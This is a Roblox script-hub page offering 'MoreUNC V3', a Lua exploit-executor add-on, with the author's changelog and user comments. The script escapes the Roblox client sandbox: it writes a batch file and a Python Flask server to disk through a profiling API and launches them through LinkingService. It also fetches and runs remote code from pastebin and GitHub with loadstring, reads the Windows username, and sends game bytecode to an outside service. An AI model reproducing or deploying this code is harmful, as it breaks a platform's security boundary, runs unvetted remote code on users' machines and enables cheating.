MoreUNC V3
Key Required VerifiedUniversal

MoreUNC V3

Universal Scriptvxstyvxsty 183.5K views 650 executesUpdated Jan 25, 2025
1.9/ 5(34 votes)
132138% Positive
Lua Script•1171 lines (31912 chars)
for i, _ in next, getgenv() do 
    if i ~= "loadstring" and i ~= "getgenv" then
        getgenv()[i]=nil
    end
end

local B = 2147483647 -- 32bit integer limit

--^ Variables:

local string, table, task, Instance, game, debug = string, table, task, Instance, workspace.Parent, debug

local find, gsub, sub, rep, format, match, gmatch, split, byte, char = string.find, string.gsub, string.sub, string.rep, string.format, string.match, string.gmatch, string.split, string.byte, string.char
local tfind, tinsert, tconcat, tunpack, tclear = table.find, table.insert, table.concat, table.unpack, table.clear
local cwrap, cyield = coroutine.wrap, coroutine.yield
local DEBUG_INFO = debug.info

local Instance_new = Instance.new

local UDim2_fromOffset = UDim2.fromOffset
local deg, sqrt, atan2, random, clamp = math.deg, math.sqrt, math.atan2, math.random, math.clamp

--& Lua(u) Globals

local pcall, next, tostring, tonumber, assert, typeof, tick, setfenv, getfenv, setmetatable, error, newproxy = pcall, next, tostring, tonumber, assert, typeof, tick, setfenv, getfenv, setmetatable, error, newproxy
local wait, spawn, delay = task.wait, task.spawn, task.delay

--* Instances

local HttpService = game:GetService("HttpService")
local ScriptContext = game:GetService("ScriptContext")
local LinkingService = game:GetService("LinkingService")
local InsertService = game:GetService("InsertService")
local UserInputService = game:GetService("UserInputService")
local UGCValidationService = game:GetService("UGCValidationService")

local VirtualInputManager = Instance_new("VirtualInputManager")

local CoreGui = game:GetService("CoreGui")
local Players = game:GetService("Players")

local LocalPlayer = Players.LocalPlayer
local RobloxActive = true

local Mouse = LocalPlayer:GetMouse()
local Camera = workspace.CurrentCamera

local HiddenUI = Instance_new("Folder")
HiddenUI.Name = "HiddenUI" .. rep("\0", random(2, 10))

local Keys = {
    [0x08] = Enum.KeyCode.Backspace,
    [0x09] = Enum.KeyCode.Tab,
    [0x0C] = Enum.KeyCode.Clear,
    [0x0D] = Enum.KeyCode.Return,
    [0x10] = Enum.KeyCode.LeftShift,
    [0x11] = Enum.KeyCode.LeftControl,
    [0x12] = Enum.KeyCode.LeftAlt,
    [0x13] = Enum.KeyCode.Pause,
    [0x14] = Enum.KeyCode.CapsLock,
    [0x1B] = Enum.KeyCode.Escape,
    [0x20] = Enum.KeyCode.Space,
    [0x21] = Enum.KeyCode.PageUp,
    [0x22] = Enum.KeyCode.PageDown,
    [0x23] = Enum.KeyCode.End,
    [0x24] = Enum.KeyCode.Home,
    [0x2D] = Enum.KeyCode.Insert,
    [0x2E] = Enum.KeyCode.Delete,
    [0x30] = Enum.KeyCode.Zero,
    [0x31] = Enum.KeyCode.One,
    [0x32] = Enum.KeyCode.Two,
    [0x33] = Enum.KeyCode.Three,
    [0x34] = Enum.KeyCode.Four,
    [0x35] = Enum.KeyCode.Five,
    [0x36] = Enum.KeyCode.Six,
    [0x37] = Enum.KeyCode.Seven,
    [0x38] = Enum.KeyCode.Eight,
    [0x39] = Enum.KeyCode.Nine,
    [0x41] = Enum.KeyCode.A,
    [0x42] = Enum.KeyCode.B,
    [0x43] = Enum.KeyCode.C,
    [0x44] = Enum.KeyCode.D,
    [0x45] = Enum.KeyCode.E,
    [0x46] = Enum.KeyCode.F,
    [0x47] = Enum.KeyCode.G,
    [0x48] = Enum.KeyCode.H,
    [0x49] = Enum.KeyCode.I,
    [0x4A] = Enum.KeyCode.J,
    [0x4B] = Enum.KeyCode.K,
    [0x4C] = Enum.KeyCode.L,
    [0x4D] = Enum.KeyCode.M,
    [0x4E] = Enum.KeyCode.N,
    [0x4F] = Enum.KeyCode.O,
    [0x50] = Enum.KeyCode.P,
    [0x51] = Enum.KeyCode.Q,
    [0x52] = Enum.KeyCode.R,
    [0x53] = Enum.KeyCode.S,
    [0x54] = Enum.KeyCode.T,
    [0x55] = Enum.KeyCode.U,
    [0x56] = Enum.KeyCode.V,
    [0x57] = Enum.KeyCode.W,
    [0x58] = Enum.KeyCode.X,
    [0x59] = Enum.KeyCode.Y,
    [0x5A] = Enum.KeyCode.Z,
    [0x5D] = Enum.KeyCode.Menu,
    [0x60] = Enum.KeyCode.KeypadZero,
    [0x61] = Enum.KeyCode.KeypadOne,
    [0x62] = Enum.KeyCode.KeypadTwo,
    [0x63] = Enum.KeyCode.KeypadThree,
    [0x64] = Enum.KeyCode.KeypadFour,
    [0x65] = Enum.KeyCode.KeypadFive,
    [0x66] = Enum.KeyCode.KeypadSix,
    [0x67] = Enum.KeyCode.KeypadSeven,
    [0x68] = Enum.KeyCode.KeypadEight,
    [0x69] = Enum.KeyCode.KeypadNine,
    [0x6A] = Enum.KeyCode.KeypadMultiply,
    [0x6B] = Enum.KeyCode.KeypadPlus,
    [0x6D] = Enum.KeyCode.KeypadMinus,
    [0x6E] = Enum.KeyCode.KeypadPeriod,
    [0x6F] = Enum.KeyCode.KeypadDivide,
    [0x70] = Enum.KeyCode.F1,
    [0x71] = Enum.KeyCode.F2,
    [0x72] = Enum.KeyCode.F3,
    [0x73] = Enum.KeyCode.F4,
    [0x74] = Enum.KeyCode.F5,
    [0x75] = Enum.KeyCode.F6,
    [0x76] = Enum.KeyCode.F7,
    [0x77] = Enum.KeyCode.F8,
    [0x78] = Enum.KeyCode.F9,
    [0x79] = Enum.KeyCode.F10,
    [0x7A] = Enum.KeyCode.F11,
    [0x7B] = Enum.KeyCode.F12,
    [0x90] = Enum.KeyCode.NumLock,
    [0x91] = Enum.KeyCode.ScrollLock,
    [0xBA] = Enum.KeyCode.Semicolon,
    [0xBB] = Enum.KeyCode.Equals,
    [0xBC] = Enum.KeyCode.Comma,
    [0xBD] = Enum.KeyCode.Minus,
    [0xBE] = Enum.KeyCode.Period,
    [0xBF] = Enum.KeyCode.Slash,
    [0xC0] = Enum.KeyCode.Backquote,
    [0xDB] = Enum.KeyCode.LeftBracket,
    [0xDD] = Enum.KeyCode.RightBracket,
    [0xDE] = Enum.KeyCode.Quote
}

UserInputService.WindowFocused:Connect(function()
    RobloxActive = true
end)

UserInputService.WindowFocusReleased:Connect(function()
    RobloxActive = false
end)

local function internal_read(file)
    local success, content = pcall(function()
        return InsertService:GetLocalFileContents(format("rbxasset://%s", file))
    end)

    return success and content or ""
end

local JSONDecode = function(Text)
    return HttpService:JSONDecode(Text)
end

local HTTP = {}

local cloneref = cloneref or function(p1)
    return p1
end

do
    if not pcall(function()
        HiddenUI.Parent = cloneref(CoreGui)
    end) then
        HiddenUI.Parent = LocalPlayer:FindFirstChildOfClass("PlayerGui")
    end
end

USER = match(ScriptContext:SaveScriptProfilingData("", "_"), "C:\\Users\\(.-)\\")

--^ Functions:

local function run_batch(batch)
    LinkingService:OpenUrl(ScriptContext:SaveScriptProfilingData(batch, "TEMP.bat"))
end

local function getthreadidentity() -- Taken from previous moreunc (MoreUNC v2.0.0)
    local function try(f)
        return function()
            return pcall(f);
        end
    end

	for i, v in next, ({
		try(function() return game.Name end),
		try(function() return game:GetService("CoreGui").Name end),
		try(function() return game.DataCost end),
		try(function() return Instance_new, "Player" end),
		try(function() return game:GetService("CorePackages").Name end),
		try(function() return Instance_new("SurfaceAppearance").TexturePack end),
		try(function() Instance_new("MeshPart").MeshId = "" end)
	}) do
        if not v() then
            return i - 1; -- Previous level because the current isnt available
        end
    end
	
    return 7;
end

local function request(Args) -- Args: {Url: string, Method: string, Headers: table | nil, Body: string | nil}
    Args = Args or {};
    local Url, Method, Headers, Body = Args.Url, Args.Method, Args.Headers, Args.Body

    --! Assertions
    assert(Url, "Missing request url.")
    assert(Method, "Missing request method.")

    --* Main Function

    local Content = {}

    HttpService:RequestInternal({
        Url = Url,
        Method = Method,
        Headers = Headers,
        Body = Body
    }):Start(function(Success, Returned)
        Content = Returned
        Content.Success = Success
    end)

    repeat
        wait()
    until
        Content.Success ~= nil

    return Content;
end

local function httpget(a, b, c) -- url, nocache
    if typeof(a) ~= "string" then -- instance?
        a = b
        b = c
    end

    if b then -- no cache
        return request({Url = a, Method = "GET"}).Body
    else
        local Saved = HTTP[a] or request({Url = a, Method = "GET"}).Body

        HTTP[a] = Saved
        return Saved
    end
end

local base64 = {
	encode = function(data)
		local letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
        local Part = gsub(data,
            ".",
            function(x)
                local r, b = "", byte(x)
                for i = 8, 1, -1 do
                    r = r .. (b % 2 ^ i - b % 2 ^ (i - 1) > 0 and "1" or "0")
                end
                return r
            end
        ) .. "0000"
        return gsub(
            Part,
            "%d%d%d?%d?%d?%d?",
            function(x)
                if (#x < 6) then
                    return ""
                end
                local c = 0
                for i = 1, 6 do
                    c = c + (sub(x, i, i) == "1" and 2 ^ (6 - i) or 0)
                end
                return sub(letters, c + 1, c + 1)
            end
        ) .. ({"", "==", "="})[#data % 3 + 1]
	end,
	decode = function(data)
		local b = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
		data = gsub(data, '[^'..b..'=]', '') -- [^base64_chars and =]

		return (gsub(data, '.', function(x)
			if x == '=' then return '' end
			local r, f = '', (find(b, x) - 1)
			for i = 6, 1, -1 do
				r = r .. (f % 2^i - f % 2^(i - 1) > 0 and '1' or '0')
			end
			return r;
		end):gsub('%d%d%d?%d?%d?%d?%d?%d?', function(x)
			if #x ~= 8 then return '' end
			local c = 0
			for i = 1, 8 do
				c = c + (sub(x, i, i) == '1' and 2^(8 - i) or 0)
			end
			return char(c)
		end))
	end
}

local HashLib = loadstring(httpget("https://pastebin.com/raw/iRDTgy7w", true))()
local Sandbox, ReverseGet = loadstring(httpget("https://raw.githubusercontent.com/bbbbbbbbbbbbbb121/sandbox/refs/heads/main/latest.lua", true))()

local NIL = {}
local DrawingCache = {}

game = Sandbox(game, {
    HttpGet = httpget,
    HttpGetAsync = httpget
})
workspace = Sandbox(workspace)
script = Sandbox(script)

Game = game
Workspace = workspace

game.DescendantRemoving:Connect(function(d)
	tinsert(NIL, d)
end)

--* Bridge:

local Bridge = {
    Url = "http://localhost:8000/",
    Connected = false,
    Responses = {}
};

function Bridge:Connect()
    if not Bridge.Connected then
        repeat
            local Response = request({
                Url = Bridge.Url,
                Method = "GET"
            }).Body

            wait(1) -- Polling because we dont have websockets :broken-heart:
        until
            Response == "Up"
        Bridge.Connected = true
    end
end

function Bridge:Send(Path, Data, NoEncode) -- /hi, {}
    Bridge:Connect();
    local Base64 = {};
    if Data then
        for i, v in next, Data do
            Base64[i] = typeof(v) == "string" and not NoEncode and base64.encode(v) or v
        end
    end

    local json = Data and HttpService:JSONEncode(Base64) or nil
    local Response = Bridge.Responses[Path .. (Data and json or "")]

    if Response then
        return Response
    end

    Response = request({
        Url = Bridge.Url .. Path,
        Method = Data and "POST" or "GET",
        Headers = Data and {
            ["Content-Type"] = "application/json"
        } or nil,
        Body = json
    }).Body

    if sub(Response, 1, 15) == "<!doctype html>" then
        error("Unable to send request to /" .. Path, 2)
    end

    Bridge.Responses[Path .. (Data and json or "")] = Response -- Cacheing
    return Response
end

--* Starting the bridge:
do
    local BRIDGE_PYTHON = format([[from concurrent.futures import thread
from flask import Flask, request, jsonify

import os
import json
import string
import random
from itsdangerous import base64_decode
import pyperclip

import psutil

UserHome = os.path.expanduser("~")
DownloadPath = os.path.join(UserHome, "Downloads")
ExecutorName = "MoreUNC"

def GenerateId(length=6):
    return ''.join(random.choices(string.ascii_letters + string.digits, k=length))

def GetRobloxVersion():
    RobloxPath = f"{UserHome}/AppData/Local/Roblox/Versions"
    for Folder in os.listdir(RobloxPath):
        FolderPath = os.path.join(RobloxPath, Folder)
        if os.path.isdir(FolderPath) and "RobloxPlayerLauncher.exe" in os.listdir(FolderPath):
            return Folder
    return None

def FindRobloxProcess():
    for Process in psutil.process_iter(['name', 'exe']):
        try:
            if "roblox" in Process.info['name'].lower():
                return Process.info['exe']
        except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess):
            continue
    return ""

Process = FindRobloxProcess()

#IsBloxstrap = "\\Local\\Bloxstrap" in Process
RobloxFolder = "".join(a + "\\" for a in Process.split("\\")[:-1])

Logs = f"{UserHome}/AppData/Local/Roblox/versions/{GetRobloxVersion()}/logs/"

def GetWorkspace(FileName=""):
    return os.path.join(DownloadPath, ExecutorName, "workspace", FileName)

app = Flask(__name__)

def Decrypt(Payload_ENCODED, Decode=False):
    Payload = {}
    
    for i in Payload_ENCODED:
        Value = Payload_ENCODED[i]
        Value2 = isinstance(Value, str) and base64_decode(Value) or Value
        Payload[i] = Decode and Value2 != Value and Value2.decode() or Value2
        
    return Payload

@app.route('/')
def Home():
    """Home endpoint."""
    return "Up"

@app.route('/files', methods=["POST"])
def ManageFiles():
    """Handle file-related operations."""
    Payload = Decrypt(request.get_json())
    
    FileName = Payload.get("file", "").decode()
    FilePath = GetWorkspace(FileName)
    IsFolder = Payload.get("folder", False)
    Method = Payload.get("method", "").decode().lower()

    try:
        if Method == "delete":
            if os.path.exists(FilePath):
                if IsFolder and os.path.isdir(FilePath):
                    os.rmdir(FilePath)
                else:
                    os.remove(FilePath)
                return "File/Folder deleted successfully."
            return "File/Folder does not exist."

        elif Method == "create":
            Content = Payload.get("content", "")
            if IsFolder:
                os.makedirs(FilePath, exist_ok=True)
            else:
                with open(FilePath, "wb") as File:
                    File.write(Content)
            return "File/Folder created successfully."

        elif Method == "read":
            if IsFolder:
                return "Cannot read a folder."
            if os.path.exists(FilePath):
                with open(FilePath, "rb") as File:
                    return File.read()
            return "File not found."

        elif Method == "list":
            if os.path.exists(FilePath):
                files = []
                for file in os.listdir(FilePath):
                    files.append(FilePath + file)
                return json.dumps(files)
            return "Directory not found."

        elif Method == "check":
            Exists = os.path.exists(FilePath)
            IsDir = os.path.isdir(FilePath)
            return "true" if (IsFolder and IsDir) or (not IsFolder and Exists and not IsDir) else "false"

    except Exception as Error:
        print("Error:",Error)
        return "An error occurred while processing the request."


@app.route('/functions', methods=["POST"])
async def Functions():
    Payload = Decrypt(request.get_json(), True)
    Func = Payload.get("func", "").lower()

    try:
        if Func == "getcustomasset":
            SourcePath = GetWorkspace(Payload["file"])
            GeneratedId = GenerateId() + os.path.splitext(SourcePath)[1]
            CustomPath = os.path.join(RobloxFolder, "content", "textures")
            CustomFilePath = os.path.join(CustomPath, GeneratedId)

            with open(SourcePath, "rb") as SourceFile:
                with open(CustomFilePath, "wb") as CustomFile:
                    CustomFile.write(SourceFile.read())

            return f"rbxasset://textures/{GeneratedId}"
        elif Func == "setclipboard":
            pyperclip.copy(Payload.get("text"))

        return "Invalid function."

    except Exception as Error:
        print("Error 2:", Error)
        return "An error occurred while processing the function."

if __name__ == "__main__":
    app.run(host='localhost', port=8000)]])

    -- hosting the server:
    run_batch(format([[@echo off
python --version >nul 2>&1
if errorlevel 1 (
    echo Python is not installed! Please install Python first.
    pause
)

python %s
]], ScriptContext:SaveScriptProfilingData(BRIDGE_PYTHON, "server.py")))
    Bridge:Connect()
    repeat wait() until Bridge.Connected
end

-- File System: Bridge

local function makefolder(FolderPath)
    assert(typeof(FolderPath) == "string", "Invalid argument #1 to 'makefolder', string expected, got " .. typeof(FolderPath))

    Bridge:Send("files", {
        folder = true,
        file = FolderPath,
        method = "create"
    })
end

local function writefile(Name, Content)
    assert(typeof(Name) == "string", "Invalid argument #1 to 'writefile', string expected, got " .. typeof(Name))
    assert(typeof(Content) == "string", "Invalid argument #2 to 'writefile', string expected, got " .. typeof(Content))

    Bridge:Send("files", {
        folder = false,
        content = Content,
        file = Name,
        method = "create"
    })
end

local function delfile(Path)
    return Bridge:Send("files", {
        folder = false,
        file = Path,
        method = "delete"
    })
end

local function delfolder(Path)
    return Bridge:Send("files", {
        folder = true,
        file = Path,
        method = "delete"
    })
end

local function readfile(Path)
    local f = Bridge:Send("files", {
        file = Path,
        method = "read"
    })

    if f == "File not found." then
        error("File doesn't exist.", 2)
    end

    return f
end

local function listfiles(Path)
    local files = HttpService:JSONDecode(Bridge:Send("files", {
        file = Path,
        method = "list"
    }))

    if files == "Failed to get files." then
        error("Invalid file path", 2)
    end

    return files
end

local function isfile(Path)
    return Bridge:Send("files", {
        file = Path,
        folder = false,
        method = "check"
    }) == "true"
end

local function isfolder(Path)
    return Bridge:Send("files", {
        file = Path,
        folder = true,
        method = "check"
    }) == "true"
end

local function getcustomasset(Path)
    return Bridge:Send("functions", {
        func = "getcustomasset",
        file = Path
    })
end

local function iscclosure(fn)
    return DEBUG_INFO(fn, "s") == "[C]"
end

local function islclosure(fn)
    return DEBUG_INFO(fn, "s") ~= "[C]"
end

local function clonefunction(fn)
    return function(...)
        return fn(...)
    end
end

local Debug = setmetatable({
    getinfo = function(fn)
        local i = {}
        local np, isvrg = DEBUG_INFO(fn, "a")
        i.what = islclosure(fn) and "Lua" or "C"
        i.short_src = DEBUG_INFO(fn, "s")
        i.source = DEBUG_INFO(fn, "s")
        i.name = DEBUG_INFO(fn, "n")
        i.func = typeof(fn) == "function" and fn or DEBUG_INFO(fn, "f")
        i.numparams = np
        i.is_vararg = isvrg and 1 or 0
        i.currentline = DEBUG_INFO(fn, "l")

        return i
    end
}, {
    __index = debug
})

local function isourclosure(fn)
    return islclosure(fn) and Debug.getinfo(fn).source == Debug.getinfo(function()end).source or (function()
        for _, v in next, getfenv(0) do
            if v == fn then
                return true
            end
        end
        return false
    end)()
end

local function newcclosure(fn)
	local shawarma = cwrap(function(...) -- haha get it because shawarma wrap
		local b = {cyield()}
		while true do
			b={cyield(fn(tunpack(b)))}
		end
	end)

    shawarma()
	return shawarma
end

local function hash(t, a)
    assert(typeof(t) == "string", "Invalid argument #1 to 'hash', string expected, got " .. typeof(t))
    assert(typeof(a) == "string", "Invalid argument #2 to 'hash', string expected, got " .. typeof(a))

    a = gsub(a, "-", "_")

    local f = HashLib[a]

    assert(f, "No algorithm found by the name '" .. a .. "'")

    return f(t)
end

local function decompile(LuaScriptContainer) --> requires getscriptbytecode
    assert(tfind({"ModuleScript", "LocalScript"}, LuaScriptContainer.ClassName), "Invalid argument #1 to 'decompile', LuaSourceContainer expected, got " .. LuaScriptContainer.ClassName)

    return request({
        Url = "http://api.plusgiant5.com/konstant/decompile",
        Method = "POST",
        Headers = {
            ["Content-Type"] = "text/plain"
        },
        Body = getscriptbytecode(LuaScriptContainer)
    }).Body
end

local function setclipboard(text)
    assert(typeof(text) == "string", "Invalid argument #1 to 'setclipboard', string expected got " .. typeof(text))

    spawn(Bridge.Send, Bridge, "functions", {
        func = "setclipboard",
        text = text
    })
end

local Fonts = {
	[0] = Enum.Font.Arial,
	[1] = Enum.Font.BuilderSans,
	[2] = Enum.Font.Gotham,
	[3] = Enum.Font.RobotoMono
}

local function Create(Class, Properties)
    local Object = Instance_new(Class);

    for i, v in next, Properties do
        Object[i] = ReverseGet(v) or v
    end

    return Object
end

local function gethui()
    return Sandbox(HiddenUI)
end

local UI = Create("ScreenGui", {
    Parent = gethui(),
    Name = "Drawing | MoreUNC"
})

local Drawing = {
	Fonts = {
	    UI = 0,
	    System = 1,
	    Plex = 2,
	    Monospace = 3,
    },
	new = function(Type)
        local Object = Create("Frame", {
            Visible = true,
            Size = UDim2_fromOffset(0, 0),
            BackgroundColor3 = Color3.new(0, 0, 0),
            BackgroundTransparency = 1,
            BorderSizePixel = 0,
            ZIndex = 1,
            Parent = UI
        });

        local self = {
            Visible = Object.Visible,
            Color = Object.BackgroundColor3,
            Transparency = 1,
            ZIndex = Object.ZIndex,
            Remove = function() Object:Destroy() end
        }

        self.Destroy = self.Remove

        local function Construct(Update, Defaults, Default, Readonly)
            Readonly = Readonly or {}
            local function inlined()
                if not Default then
                    Object.Visible = self.Visible
                    Object.BackgroundColor3 = self.Color
                    Object.BackgroundTransparency = 1 - self.Transparency
                    Object.ZIndex = clamp(self.ZIndex, -B, B)
                end

                Update()
            end

            for i, v in next, Defaults do
                self[i] = v
            end

            local proxy = newproxy(true)
            local mt = getmetatable(proxy)

            mt.__index = function(_, b)
                return self[b]
            end
            mt.__newindex = function(_, Key, Value)
                if tfind(Readonly, Key) then
                    return;
                end
                self[Key] = Value
                inlined()
            end
            mt.__metatable = "This metatable is protected."

            tinsert(DrawingCache, {proxy=proxy, instance = Object})

            return proxy
        end

        --* Line

		if Type == 'Line' then
			return Construct(function()
                local from, to = self.From, self.To
                local dX, dY = to.X - from.X, to.Y - from.Y

                Object.Size = UDim2_fromOffset(sqrt(dX ^ 2 + dY ^ 2), self.Thickness)
                Object.Position = UDim2_fromOffset(from.X, from.Y)
                Object.Rotation = deg(atan2(dY, dX))
            end, {
                Thickness = 1,
                From = Vector2.zero,
                To = Vector2.zero
            })
		elseif Type == 'Square' then
			local Stroke = Create("UIStroke", {
                Parent = Object,
                Color = self.Color,
                Enabled = true,
                Thickness = 1
            })

			return Construct(function()
				Object.Size = UDim2.new(0, self.Size.X, 0, self.Size.Y)
				Object.Position = UDim2.new(0, self.Position.X, 0, self.Position.Y)
    
				Stroke.Enabled = self.Filled
				Stroke.Color = self.Color
                Stroke.Thickness = self.Thickness
			end, {
                Size = Vector2.zero,
                Position = Vector2.zero,

                Filled = false,
                Thickness = 1,
                Transparency = 0
            })
		elseif Type == 'Circle' then
			local Stroke = Create("UIStroke", {
                Parent = Object,
                Color = self.Color,
                Enabled = true
            })
			Create("UICorner", {
                Parent = Object,
                CornerRadius = UDim.new(1, 0)
            })

			return Construct(function()
					Object.Size = UDim2.fromScale(self.Radius, self.Radius)
					Object.Position = UDim2.fromScale(self.Position.X, self.Position.Y)

					Stroke.Enabled = not self.Filled
    
					Stroke.Color = self.Color
                    Stroke.Thickness = self.Thickness
			end, {
                Thickness = 1,
                NumSides = 0,
                Radius = 1,

                Filled = false,

                Position = Vector2.zero
            })
		elseif Type == 'Text' then
            Object:Destroy()
			Object = Create("TextLabel", {
                Parent = UI,
                Visible = self.Visible,
                Size = UDim2.fromOffset(0, 0),
                BackgroundColor3 = self.Color,
                BackgroundTransparency = 1 - self.Transparency,
                BorderSizePixel = 0,
                TextStrokeColor3 = self.Color,
                TextStrokeTransparency = 1,
                TextSize = self.Size,
                TextWrapped = false
            })

			return Construct(function()
					Object.Size = UDim2.fromOffset(self.Size * 3, self.Size / 2)
					Object.Position = UDim2.fromOffset(self.Position.X, self.Position.Y)
					Object.Text = self.Text

					Object.Font = Fonts[self.Font]
					Object.TextColor3 = self.Color
					Object.BackgroundTransparency = 1 - self.Transparency

					if self.Center then
						Object.TextXAlignment = Enum.TextXAlignment.Center
						Object.TextYAlignment = Enum.TextYAlignment.Center
					else
						Object.TextXAlignment = Enum.TextXAlignment.Left
						Object.TextYAlignment = Enum.TextYAlignment.Top
					end

					Object.TextStrokeTransparency = self.Outline and 0 or 1
					Object.TextStrokeColor3 = self.OutlineColor
                    self.TextBounds = Object.TextBounds
			end, {
                Text = '',
                Size = 0,
                Center = false,
                Outline = false,
                OutlineColor = self.Color,
                Position = Vector2.zero,
                Font = 3
            }, true, {"TextBounds"})
		end
end}

local function isrenderobj(a)
    for _, object in next, DrawingCache do
		if object.proxy == a then
			return true
		end
	end
    return false
end

local function cleardrawcache()
    for _, Object in next, DrawingCache do
        Object.instance:Destroy()
    end
end

local function getrenderproperty(a, b)
    assert(isrenderobj(a), "Invalid argument #1 to 'getrenderproperty', render object expected, got " .. typeof(a))
    return a[b]
end

local function setrenderproperty(a, b, c)
    assert(isrenderobj(a), "Invalid argument #1 to 'setrenderproperty', render object expected, got " .. typeof(a))

    a[b] = c
end

local function getscripthash(LuaScriptContainer)
	assert(tfind({"ModuleScript", "LocalScript"}, LuaScriptContainer.ClassName), "Invalid argument #1 to 'decompile', LuaSourceContainer expected, got " .. LuaScriptContainer.ClassName)

	return LuaScriptContainer:GetHash()
end

--* Input Functions

local function iswindowactive()
    return RobloxActive
end

--kb

local function keypress(Key)
    VirtualInputManager:SendKeyEvent(true, Keys[Key], false, game)
end

local function keyrelease(Key)
    VirtualInputManager:SendKeyEvent(false, Keys[Key], false, game)
end

--mouse

local function mouse1press()
    VirtualInputManager:SendMouseButtonEvent(Mouse.X, Mouse.Y, 0, true, game, 0)
end

local function mouse1release()
    VirtualInputManager:SendMouseButtonEvent(Mouse.X, Mouse.Y, 0, false, game, 0)
end

local function mouse1click()
    mouse1press()
    mouse1release()
end

local function mouse2press()
    VirtualInputManager:SendMouseButtonEvent(Mouse.X, Mouse.Y, 1, true, game, 0)
end

local function mouse2release()
    VirtualInputManager:SendMouseButtonEvent(Mouse.X, Mouse.Y, 1, false, game, 0)
end

local function mouse2click()
    mouse2press()
    mouse2release()
end

local function mousemoveabs(x, y) -- x: int, y: int
    VirtualInputManager:SendMouseWheelEvent(x, y, false, game)
end

local function mousemoverel(x, y) -- x: float, y: float
    mousemoveabs(Camera.ViewportSize.X * x, Camera.ViewportSize.Y * y)
end

--other

local function getinstances()
    return game:GetDescendants()
end

local function getnilinstances()
    return NIL
end

local function getscripts()
    local list = {}
    for _, scr in next, getinstances() do
        if scr:IsA("LocalScript") or scr:IsA("ModuleScript") then
            tinsert(list, scr)
        end
    end

    return list
end

local function getexecutorname()
    return "MoreUNC", "3.0.0"
end

local function gethiddenproperty(a, b)
    local Success, Value = pcall(function()
        return UGCValidationService:GetPropertyValue(a, b)
    end)

    assert(Success, "Invalid argument #2 to 'gethiddenproperty', property is not a valid member of Instance")

    return Value
end

local function getfflag(fflag)
    local Success, Value = pcall(function()
        return game:GetFastFlag(gsub(fflag, "FFlag", ""))
    end)

    assert(Success, "FFlag doesn't exist.")
    return Value
end

local function SetEnvironment(Value)
    for i, v in next, Value do
        getgenv()[i] = v
    end
end

SetEnvironment({
    listfiles = listfiles,
    readfile = readfile,
    isfile = isfile,
    isfolder = isfolder,
    writefile = writefile,
    makefolder = makefolder,
    delfile = delfile,
    delfolder = delfolder,

    getsynasset = getcustomasset,
    getcustomasset = getcustomasset,

    clonefunction = clonefunction,
    clonefunc = clonefunction,

    iscclosure = iscclosure,
    islclosure = islclosure,
    isourclosure = isourclosure,
    iskrnlclosure = isourclosure,
    issynclosure = isourclosure,

    newcclosure = newcclosure,

    getthreadidentity = getthreadidentity,

    crypt = {
        hash = hash,
        custom = {
            hash = hash
        },
        base64 = base64,

        base64_encode = base64.encode,
        base64encode = base64.encode,
    
        base64_decode = base64.decode,
        base64decode = base64.decode,
    },
    
    base64 = base64,
    base64_encode = base64.encode,
    base64encode = base64.encode,
    
    base64_decode = base64.decode,
    base64decode = base64.decode,

    debug = Debug,

    request = request,
    http_request = request,
    http = {
        request = request
    },

    httpget = httpget,

    decompile = decompile,

    gethui = gethui,

    game = game,
    workspace = workspace,
    script = script,
    Game = Game,
    Workspace = Workspace,

    Drawing = Drawing,
    cleardrawcache = cleardrawcache,
    isrenderobj = isrenderobj,
    getrenderproperty = getrenderproperty,
    setrenderproperty = setrenderproperty,

    setclipboard = setclipboard,
    setrbxclipboard = setrbxclipboard,
    writeclipboard = setclipboard,

    mouse1press = mouse1press,
    mouse1release = mouse1release,
    mouse1click = mouse1click,

    mouse2press = mouse2press,
    mouse2release = mouse2release,
    mouse2click = mouse2click,

    mousemoveabs = mousemoveabs,
    mousemoverel = mousemoverel,

    keypress = keypress,
    keyrelease = keyrelease,

    isrbxactive = iswindowactive,
    isrobloxactive = iswindowactive,

    getinstances = getinstances,
    getnilinstances = getnilinstances,
    getscripts = getscripts,

    getscripthash = getscripthash,

    getexecutorname = getexecutorname,
    identifyexecutor = getexecutorname,

    gethiddenproperty = gethiddenproperty,
    getfflag = getfflag
})

Features & Information

You must not use this script in executors without credits. MoreUNC v3, the newest version of moreunc, with less functions, but more complex functions. Cons: Slow at file system functions, getcustomasset and such Requires python installed Does not run UNC test successfully, misses the entire syn library, and other functions. Pros: Functions such as decompile (getscriptbytecode required), request, all file system, getcustomasset, setclipboard, Hash library, Sandboxed game (To protect from overriding, make your own loadstring with the __newindex method checking for if key is game.), base64 library optimized, COMPLETELY optimized drawing library, new gethui function This is the *beta* version of MoreUNC v3, I allow everybody to fork this, and add more functions, As I'm not gonna work on it myself too much, I pass my legacy onto you developers. The missing functions are lua-makeable functions from MoreUNC v1, you can just paste them in the new script. Version 1.0.1: Added drawing functions such as `cleardrawcache`, `isrenderobj`, `setrenderproperty`, `getrenderproperty`. Added input functions, such as mouse1click, mouse1press, mouse1release, mouse2click, mouse2press, mouse2release, mousemoveabs, mousemoverel, keypress, keyrelease and isrbxactive. Fixed filesystem bugs, where writefile couldn't write images or even parse images. Added getscripthash Added identifyexecutor, getscripts, getinstances, getnilinstances Fixed getcustomasset Version 1.0.2: Fixed Drawing.new, added the ZIndex property as in Synapse X Docs. Added getfflag & gethiddenproperty Version 1.0.3: Fixed Drawing.new erroring
#MoreUNC#UpgradeExecutor#Free#OpenSource

Community Comments (25)

voxcheckersvoxcheckersJan 25, 2025(edited)

First

RespharyRespharyJan 25, 2025(edited)

I love you

farrrhatttfarrrhatttJan 26, 2025(edited)

what happen with discord server?

stalkerh1ckstalkerh1ckJan 27, 2025(edited)

Hey bro create Script Auto Farm Mm2 (open source)

WesdWesdJan 28, 2025(edited)

FINALLTYY

WesdWesdJan 28, 2025(edited)

how to fix function blocked error on solara

CracklCracklJan 31, 2025(edited)

Function blocked on solara. In xeno something opens up but console it says nothing

Rain5200Rain5200Feb 6, 2025(edited)

guys that script dont working im just need websocket

imposteurbleu123imposteurbleu123Feb 10, 2025(edited)

unlocked 1 friking percent running this with velocity 😂

vxstyvxstyFeb 11, 2025(edited)

@imposterublue123 It shouldn't work with already made executors.

vxstyvxstyFeb 18, 2025(edited)

@alimkulov For custom functions like setclipboard & getcustomasset

farhatt09farhatt09Feb 27, 2025(edited)

what happen your discord server? vxsty

